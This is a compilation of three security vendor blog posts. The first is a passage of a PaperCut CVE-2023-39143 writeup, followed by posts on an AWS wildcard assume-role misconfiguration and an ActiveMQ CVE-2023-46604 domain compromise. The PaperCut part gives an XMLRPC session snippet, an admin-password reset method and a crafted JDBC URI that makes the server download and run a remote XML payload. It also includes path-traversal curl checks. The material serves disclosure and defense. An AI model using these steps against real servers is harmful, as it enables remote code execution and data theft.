The XMLRPC API is meant to be used by external devices. The API requires authentication, and there is a unique username and password per device type. The username hashes and password hashes for these devices are stored in the source code. We were able to discover valid cleartext credentials for the API in the PaperCut install itself. We were then able to authenticate to the API and start a session using the beginSession API (we are not disclosing the hardcoded credentials here).


>>> import xmlrpc.client
>>> import ssl
>>> c = xmlrpc.client.ServerProxy('https://10.0.229.11:9192/rpc/extdevice/xmlrpc', context=ssl._create_unverified_context())
>>> c.api.beginSession('REDACTED', 'REDACTED', '1.5')
'dAZ8R'

From there, the integratedScanJobStarted API can be used to create a scan job id, using a valid device id and username.

Then a file can be placed anywhere on disk using the WebDAV PUT method:

If no device exists ahead of time, an attacker can simply use the XMLRPC API to self-register a device that supports scanning, then turn on integrated scanning for the device, and then generate a scan job id.

Remote Code Execution

There are a few paths to remote code execution, especially if file upload is possible. Perhaps the easiest method for RCE is to leverage another vulnerability reported to ZDI by an Anonymous user as ZDI-CAN-21013. This vulnerability was fixed in the same patch release that CVE-2023-39143 was fixed. This vulnerability is related to an out-of-date Postgres driver vulnerable to CVE-2022-21724.

To exploit this, an attacker would first need to acquire the admin password. This can be accomplished in one of two ways:

  • Cracking the admin password hash retrieved from the server.properties file by exploiting the arbitrary file download aspect of CVE-2023-39143
  • If file upload is possible: Reset the admin password by uploading a new server.properties file containing a new admin password. PaperCut dynamically reads this file every time an admin tries to log in.

For instance to reset the admin password to admin12345:

Once logged in as admin, the Postgres driver can be exploited by setting up a crafted JDBC URI in the External User Lookup section of the Advanced config:

For instance setting the value to jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://10.0.225.200:900/exp.xml will cause the PaperCut server to connect back to the IP address 10.0.225.200 to download an XML payload containing an OS command to execute (in this case a ping command):

The execution of the OS command can be triggered by simply searching for a user in the Users UI, following PaperCut’s instructions here.

Detection

The following command checks if a PaperCut server is not patched for CVE-2023-39143 and is running on Windows.

curl -w "%{http_code}" -k --path-as-is "https://<IP>:<port>/custom-report-example/..\..\..\deployment\sharp\icons\home-app.png"

A 200 response indicates the server has not been patched and is running on Windows. A 404 response indicates the server has been patched or not running on Windows.

The following checks if the WebDAV endpoint is accessible, which is a requirement for exploiting CVE-2023-39143.

curl -w "%{http_code}" -X OPTIONS -k "https://<IP>:<port>/webdav/"

A 401 response code indicates the WebDAV interface is accessible.

From a network detection rules standpoint, any traffic going to the /webdav endpoint should be considered suspicious. The PaperCut server.log will show failed authentication attempts:

Conclusion

If you’re a user of PaperCut who is exposing it to the Internet and still haven’t yet updated to 22.1.3+, we highly recommend you update to the latest. If upgrading is not immediately possible, it is possible to mitigate this vulnerability by configuring an allowlist of device IP addresses that are permitted to communicate with the PaperCut server. Refer to the “IP Address Allow-listing” section of the PaperCut security best practices guide.

CVE-2023-39143 is made possible by a series of seemingly minor issues:

  • Weak authentication to the WebDAV endpoint
  • Lack of rate limiting of authentication attempts to the WebDAV endpoint
  • Not limiting HTTP methods invoked over WebDAV
  • Path traversal in the third party net.sf.webdav package
  • Path traversal in the CustomReportExample servlet
  • Using UUIDs to authenticate a site server to a PaperCut server
  • Hardcoded credentials to access the External Device XMLRPC API

In the July 2023 patch release, PaperCut addressed most of these issues. The WebDAV endpoint requires a strong password that can’t be brute forced, and rate limiting is enforced. There are restrictions on the WebDAV methods that can be called. The path traversal issue in the CustomReportExample servlet is fixed, and there’s logic in place to prevent malicious paths from making to to the net.sf.webdav package.

From our experience, third party packages continue to be a major blind spot for application security, and it’s not just about the known vulnerabilities. It’s the latent attack surface represented by all the undiscovered vulnerabilities out there in libraries that developers rarely look at and appsec tools are rarely configured to inspect.

References

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post Writeup for CVE-2023-39143: PaperCut WebDAV Vulnerability appeared first on Horizon3.ai.

AWS Misconfiguration Leads to Buckets of Data

8 December 2023 at 15:01

Misconfigured AWS Role Leads to Cloud Initial Access and Data Compromise

There are two common ways that attackers get initial access to cloud environments: 1) finding cloud credentials lying around in data, for instance on a previously compromised end-user’s machine, or 2) exploiting a critical vulnerability in an exposed cloud-hosted application.

But there are other less common methods that work too. In this real-world external pentest, NodeZero anonymously exploited a critical AWS IAM policy misconfiguration to get initial access to a client’s AWS environment. From there it obtained read/write access to sensitive data stored in the client’s S3 buckets.

Background on AWS Cross-Account Permissions

In AWS, a role is used to define specific privileges to resources within an account. AWS IAM lets users configure the trusted entities that are permitted to “assume” the privileges of this role. These trusted entities can be users in other AWS accounts. For instance, to grant users in AWS account 999999999999 the privileges assigned to a role in AWS account 111111111111, one would configure a trust policy for that role that looks like this:

Granting cross-account access to roles is a common practice, especially for organizations managing many AWS accounts or using third-party services. Where this configuration becomes dangerous is when users open up cross-account access to all AWS accounts. The following configuration that uses a wildcard * in place of a specific account ID grants any user in any AWS account the privileges of the role.

All that’s required for someone to “assume” this role is knowledge of the role name and the AWS account ID that the role is part of. AWS clearly warns users about this dangerous configuration, but it’s still possible to set it.

There are open source attacker toolkits such as pacu that can be used to manually discover and exploit this misconfiguration. This exploit process is fully automated by NodeZero and described below.

A Real World Example

In this example, a client conducted an external pentest using NodeZero. NodeZero ran from Horizon3.ai’s cloud environment and was not provided any credentials. The client did provide NodeZero with a list of AWS account IDs that it owns.

  1. NodeZero used the provided AWS account IDs to anonymously enumerate AWS role names belonging to these accounts. NodeZero did this by brute force, using a large wordlist of common role names, using a technique described in this good writeup from Rhino Security Labs.
  2. NodeZero discovered a valid, common role name in one of the AWS accounts.
  3. NodeZero attempted to “assume” the role, using an AWS user configured in one of Horizon3’s own AWS accounts.
  4. NodeZero was able to assume the role and acquired AWS access keys with the privileges of the assumed role. NodeZero raised a weakness: H3-2021-0019: AWS Unrestricted Assume Role Access.
  5. NodeZero tested what the AWS access key could access. NodeZero found that it had full read/write/delete privileges to a number of S3 buckets.
  6. NodeZero found tens of thousands of files in these S3 buckets, some of them containing sensitive client confidential business data.

The full attack path is shown below:

Takeaways

It took NodeZero about 1 hour and 35 minutes to execute this attack path leading to data compromise, starting with no privileges in the form of credentials or network access. This attack was performed autonomously with no human assistance or prior scripting.

This example highlights the crucial importance of defining access control policies with the principle of least privilege in mind. This is especially important in cloud environments where credential abuse is a much bigger problem than exploitation of the cloud services themselves. Using NodeZero can provide you the attacker’s perspective to identify these kinds of issues and many more.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

 

The post AWS Misconfiguration Leads to Buckets of Data appeared first on Horizon3.ai.

Apache ActiveMQ RCE Leads to Domain Compromise

1 December 2023 at 16:31

CISA Known Exploited Vulnerability Enables Initial Access and Lateral Movement Leading to Domain Compromise

Here is a real-world example of NodeZero exploiting a recently disclosed, pervasive vulnerability in an internal pentest to fully compromise a client environment.

Background

Apache ActiveMQ is a Java-based message broker used as a part of many software products. It is backend infrastructure that facilitates communication between different software components operating in a distributed architecture, similar to Redis and RabbitMQ.

At the end of October 2023, a critical vulnerability, CVE-2023-46604, affecting ActiveMQ was disclosed. This vulnerability enables unauthenticated attackers to compromise the host running ActiveMQ by sending a crafted network request to the broker’s Openwire port (default port 61616). Similar to Log4Shell, the exploit induces the vulnerable ActiveMQ instance to connect back to an attacker-controlled server to download a malicious payload. The vulnerable ActiveMQ instance unmarshalls the payload, resulting in the execution of arbitrary operating system commands contained in the payload, leading to host compromise.

The vulnerability was immediately exploited in the wild by threat actors, landing it on CISA’s known exploited vulnerabilities (KEV) catalog. As of this writing, according to Shodan there are thousands of ActiveMQ instances exposing the Openwire port to the Internet, with the majority of these instances in China.

While dangerous externally, the vulnerability is an order of magnitude more dangerous and prevalent in internal networks. ActiveMQ is installed as part of many software products, including Atlassian Bamboo, Commvault, Powerschool SIS, and Solarwinds WebHelpDesk.etc. This is the type of vulnerability that will linger in internal networks, and be fodder for pentesters and attackers alike for years to come.

A Real World Example

Within days of public disclosure, an exploit for CVE-2023-46604 was added to NodeZero. Here’s an actual production internal pentest in which NodeZero exploited this vulnerability to ultimately compromise the domain administrator account.

  • First NodeZero identified the Apache ActiveMQ broker service running on the default port 61616 on a host in the network.
  • NodeZero checked for CVE-2023-46604 and then exploited it to install a Remote Access Tool (RAT) on the vulnerable host.

  • Through the RAT, NodeZero dumped credentials from LSASS. One of these credentials was the NTLM hash for a domain user. NodeZero “passed the hash” to login as domain user on the network.

  • Next, NodeZero identified that the compromised domain user was also a local admin on another host in the network. Using the administrative privileges of this domain user, NodeZero installed a second Remote Access Tool on this second host.
  • NodeZero once again dumped LSASS through this RAT. This time NodeZero acquired the NTLM hash for a domain administrator, which it used to log in to the domain.
Takeaways

It took NodeZero about 1 hour and 15 minutes to execute the attack path leading to domain compromise. This attack was performed autonomously with no human assistance or prior scripting. Along the way, NodeZero identified and raised the following weaknesses:

  • CVE-2023-46604: Apache ActiveMQ Openwire Transport Remote Code Execution Vulnerability
  • H3-2021-0044: Credential Dumping – Local Security Authority Subsystem Service (LSASS) Memory
  • H3-2022-0086: Domain User with Local Administrator Privileges

While CVE-2023-46604 provided NodeZero initial access to a host in the network, the subsequent weaknesses – lack of security controls preventing LSASS dumping and a over-privileged domain user – enabled NodeZero to move laterally in the network and compromise the domain. NodeZero can help you stay on top of emerging weaknesses, and it can help you harden your security controls and credential policies to prevent widespread compromise.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post Apache ActiveMQ RCE Leads to Domain Compromise appeared first on Horizon3.ai.

❌
❌